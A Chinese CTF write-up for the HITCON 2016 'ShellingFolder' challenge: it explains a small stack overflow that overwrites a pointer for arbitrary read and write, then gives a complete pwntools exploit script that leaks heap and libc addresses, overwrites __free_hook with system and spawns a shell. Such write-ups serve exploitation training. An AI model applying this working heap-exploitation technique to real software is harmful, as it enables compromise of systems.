HITCON CTF 2016 ShellingFolder

程序

link: ShellingFolder

漏洞 && 利用


栈上的s只有24个字节,最多可以复制32个字节,刚好覆盖到v3,通过更改v3来达到修改任意地址数据,从而实现任意地址读写
File->Size长度为32位有符号整数,而指针长度为64位,所以要注意到寄存器相加时的符号及数据长度问题
另外,程序开启RELRO,不能修改GOT,最后利用方法是在修改一个已存在的File'sh\x00',将libc中的__free_hook修改为system,
效果等同于修改free@got,将修改过的File删除即可
这个题是在本机上做的,不知道原题给的libc是不是可以通用
不过毕竟是HITCON,一个变量溢出都能玩的这么高端
利用脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
from pwn import *
context.log_level = 'debug'
def NewFile(p, size, name):
p.recvuntil('Your choice:')
p.send('4')
p.recvuntil('Name of File:')
p.send(name)
p.recvuntil('Size of File:')
p.send(str(size))
def NewFolder(p, name):
p.recvuntil('Your choice:')
p.send('3')
p.recvuntil('Name of Folder:')
p.send(name)
def ChangeDir(p, name):
p.recvuntil('Your choice:')
p.send('2')
p.recvuntil('Choose a Folder :')
p.send(name)
def RemoveFile(p, name):
p.recvuntil('Your choice:')
p.send('5')
p.recvuntil('Choose a Folder or file :')
p.send(name + '\n')
def CalcSize(p):
p.recvuntil('Your choice:')
p.send('6')
def ListDir(p):
p.recvuntil('Your choice:')
p.send('1')
p = process('./shellingfolder')
libc = ELF('./local.libc')
raw_input()
NewFile(p, 0, 'LeakHeap' * 3)
CalcSize(p)
p.recvuntil('LeakHeap' * 3)
heap_addr = u64(p.recvn(6).ljust(8, '\x00'))
heap_base = heap_addr - 0x88
leak_addr = heap_base + 0x258
NewFile(p, 0, 'A' * 8)
NewFile(p, 0, 'B' * 8)
NewFile(p, 0, 'C' * 8)
NewFile(p, 0, 'D' * 8)
NewFile(p, 0, 'E' * 8)
NewFile(p, 0, 'F' * 8)
RemoveFile(p, 'E' * 8)
RemoveFile(p, 'C' * 8)
RemoveFile(p, 'A' * 8)#Now there should be a pointer point to main_arena
RemoveFile(p, 'B' * 8)
RemoveFile(p, 'D' * 8)
RemoveFile(p, 'F' * 8)
RemoveFile(p, 'LeakHeap' * 3)
log.info('heap base: ' + hex(heap_base))
log.info('leak addr: ' + hex(leak_addr))
payload1 = ''
payload1 += 'A' * 0x18
payload1 += p64(heap_base + 0x20)
payload2 = ''
payload2 += 'B' * 0x18
payload2 += p64(heap_base + 0x20 + 0x04)
NewFile(p, (leak_addr - 0x58) & 0xffffffff, payload1[:30])
NewFile(p, leak_addr >> 32, payload2[:30])
CalcSize(p)#Create a fake subfile to leak libc
ListDir(p)
p.recvuntil(payload2[:30] + '\n')
libc_addr = u64(p.recvn(6).ljust(8, '\x00'))
libc_base = libc_addr - 0x3a3678
offset_system = libc.symbols['system']
free_hook = libc_base + 0x3a57c8
system_addr = libc_base + offset_system
log.info('libc base: ' + hex(libc_base))
log.info('system addr: ' + hex(system_addr))
log.info('free_hook addr: ' + hex(free_hook))
ListDir(p)
NewFolder(p, 'DirToWriteFreeHook')
ChangeDir(p, 'DirToWriteFreeHook')
payload1 = ''
payload1 += 'A' * 0x18
payload1 += p64(free_hook)
payload2 = ''
payload2 += 'B' * 0x18
payload2 += p64(free_hook + 0x04)
NewFile(p, system_addr & 0xffffffff, payload1[:30])
NewFile(p, system_addr >> 32, payload2[:30])
CalcSize(p)#write __free_hook
NewFolder(p, 'DirToWriteSh')
ChangeDir(p, 'DirToWriteSh\n')
ListDir(p)
sh = 0x3b6873
payload1 = ''
payload1 += 'A' * 0x18
payload1 += p64(heap_base + 0x490)
NewFile(p, sh, payload1[:30])
NewFile(p, 0, 'FileToPutSh\x00')
CalcSize(p)#write 'sh;\x00'
RemoveFile(p, 'FileToPutSh\x00')
p.interactive()

文章目录
  1. 1. 程序
  2. 2. 漏洞 && 利用
|